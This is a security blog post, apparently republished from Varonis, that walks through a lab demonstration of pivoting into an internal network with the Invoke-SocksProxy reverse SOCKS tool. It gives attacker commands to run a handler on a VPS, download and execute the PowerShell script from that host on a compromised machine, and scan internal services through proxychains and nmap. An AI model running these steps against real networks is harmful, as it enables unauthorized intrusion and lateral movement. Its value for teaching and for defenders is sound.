Reverse proxies allow adversaries (APTs) to pivot attacks into secured environments, as they’re capable of bypassing inbound firewall restrictions. In recent news, a federal agency’s enterprise network was the victim of such an attack. The adversaries used a variant of Invoke-SocksProxy, an open-source reverse proxy tool found on GitHub.
The network topology in this example contains several devices connected to an internal network (172.16.0.1/24). For simplicity, assume the adversary established a reverse shell on Host A (172.16.0.3) with a nefarious Word document (shown below). With this level of compromise, the attacker’s Kali system cannot directly interact with the SMB and HTTP servers. The goal is to discover services on 172.16.0.1/24 while using Host A as a proxy.
In this example, the compromised host is connecting to the attacker’s virtual private server (VPS) with a Netcat listener on TCP/4444 (shown below). The Netcat connection should remain open as it is required in a later step.
In Kali, open a new terminal and SSH into the VPS. Elevate to a root shell with the su command. Use the following git command to clone my Invoke-SocksProxy repository. The repository contains two files: ReverseSocksProxyHandler.py and Invoke-SocksProxy.ps1.
root@vps > cd /opt; git clone https://github.com/tokyoneon/Invoke-SocksProxy
The ReverseSocksProxyHandler.py script will open ports 443 and 1337: Port 443 will receive incoming connections from Host A. Port 1337 will act as the proxy port, configured with proxychains4 in Kali. When executed, the terminal will produce the following output and should remain open for the duration of the attack.
root@vps > cd /opt/Invoke-SocksProxy; ./ReverseSocksProxyHandler.py
The Invoke-SocksProxy.ps1 script is meant to be executed on the compromised host. In Kali, open a new terminal and SSH into the VPS again. Change the hardcoded VPS address in Invoke-SocksProxy.ps1 and host it on an HTTP server (i.e., Apache, Nginx, or http.server).
In the Netcat terminal, change into the $env:TEMP directory on Host A. Then download Invoke-SocksProxy.ps1 from the VPS and execute it. It won’t produce output and must remain open. An attacker may use scheduled tasks to automate the execution in a real scenario. We’ll keep the terminal open for this demonstration to understand what’s happening.
Ps > cd $env:TEMP
Ps > iwr 192.168.56.102/Invoke-SocksProxy.ps1 -outfile isp.ps1
Ps > .\isp.ps1
In Kali, install proxychains4 and modify the /etc/proxychains4.conf file. Add the VPS address and 1337 port to the bottom of the configuration file.
sudo apt-get install -y proxychains4 && sudo nano /etc/proxychains4.conf
That’s all for setting up the attack. With ReverseSocksProxyHandler and Invoke-SocksProxy running on the VPS and Host A, it’s possible to proxy attacks into the internal network.
There are limitations while using Nmap with Proxychains. For example, Nmap fails at host discovery, unable to perform ping (ICMP) scans over SOCKS5. With that said, service and port discovery are still effective (while a bit slow, as they require full TCP scans).
The following Nmap scan will perform a TCP scan (-sT) with host discovery (-Pn) and DNS resolution (-n) disable. The arguments are required to use Nmap with Proxychains. Note the SMB server on 172.16.0.4:445 and the HTTP server on 172.16.0.115:80.
proxychains nmap -sT -Pn -n -p445,139,88,80 172.16.0.4,115
For context and examples with crackmapexec, patator, smbclient, and firefox, review the official publication.
Authored by tokyoneon, this post was originally published on Varonis.